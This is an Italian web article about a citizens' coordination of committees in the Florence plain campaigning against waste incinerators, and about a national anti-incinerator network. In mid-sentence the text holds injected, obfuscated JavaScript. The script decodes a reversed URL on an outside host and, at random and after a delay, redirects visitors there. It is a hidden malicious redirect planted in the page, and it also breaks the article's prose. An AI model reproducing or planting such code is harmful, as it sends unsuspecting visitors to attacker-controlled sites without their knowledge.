In rete per farsi ascoltare

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Il Coordinamento dei Comitati della Piana esiste dall’ottobre del 2000 ed è formato da un gruppo di Comitati della zona e singoli cittadini. La sua missione è informare la popolazione attraverso assemblee e confronti con esperti, sia per sensibilizzarla verso il problema dello smaltimento dei rifiuti, sia per proporre modelli alternativi all’incenerimento. Nel 2001-2002 ha raccolto 14.400 firme di cittadini contrari alla costruzione dell’inceneritore, ha organizzato due manifestazioni, ha diffuso un documento sottoscritto da 56 medici operanti nella Piana e preoccupati per gli effetti sanitari delle emissioni degli inceneritori, ha distribuito un opuscolo informativo dal titolo “Rifiuti? Non respiriamoli!”, corredato da citazioni da riviste scientifiche che attestano studi sulla nocività degli inceneritori.
Proprio in seguito alle pressioni del Coordinamento, la Provincia di Firenze ha commissionato all’Agenzia Regionale di Sanità una Valutazione di Impatto Sanitario (VIS) che è stata considerata vincolante all’approvazione del Piano stesso. Inoltre il Coordinamento ha presentato insieme al WWF un ricorso straordinario al Presidente della Repubblica impugn (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando il Piano Provinciale. Ha organizzato un workshop sui rifiuti durante il Forum Sociale Europeo, sottoscritto un protocollo con il Coordinamento dei Comitati Cittadini di Firenze (che raggruppa una ventina di comitati) ed ha organizzato la Terza Conferenza Regionale sui rifiuti (vedi pagina accanto). Ma il Coordinamento non si ferma all’ambito locale: secondo la logica di una rete che cerca sempre nuovi contatti e legami, ha allargato gli orizzonti fino a comprendere per contiguità geografica anche i comitati dell’area ligure vicini a Massa Carrara e Pietrasanta, dove è presente uno degli otto inceneritori attualmente funzionanti in Toscana.
è ormai chiaro a tutti che i problemi sanitari non rientrano nell’area circoscritta dei cinque chilometri di ricaduta delle polveri, come vuol far credere chi dice che gli inceneritori sono sicuri, ma la società tutta ne subisce gli effetti. Gli inquinanti più tossici emessi dagli inceneritori infatti ce li ritroveremo nel piatto, e nel futuro dei nostri figli. Percorrendo l’Italia da nord a sud partiamo dall’EcoIstituto Veneto, passando per i Comitati di Besozzo, Malgesso e Brebbia (Varese), troviamo il Comitato contro il termodistruttore di Caronno Corbellaro (ancora Varese) per arrivare al Comitato di Difesa delle Colline torinesi. Più a sud ecco il purtroppo attuale Comitato di Acerra, il Comitato Salute e Ambiente SudEst, il Comitato per la salute e l’ambiente Siniscola News… è solo una lista sommaria, ma rende l’idea dell’impatto che tali scelte hanno sulle realtà in cui vengono operate. RE.NA.I., Rete Nazionale per la lotta contro gli Inceneritori, cerca di fare da collante tra tutti i gruppi di opposizione nati dovunque è presente o in arrivo un inceneritore. Raccoglie ricerche e studi e diffonde informazione tramite il suo sito web, www.inceneritori.org. Ma soprattutto ha come obiettivo quello di farsi ascoltare e condividere le scelte che interessano la collettività: in una parola, partecipare.

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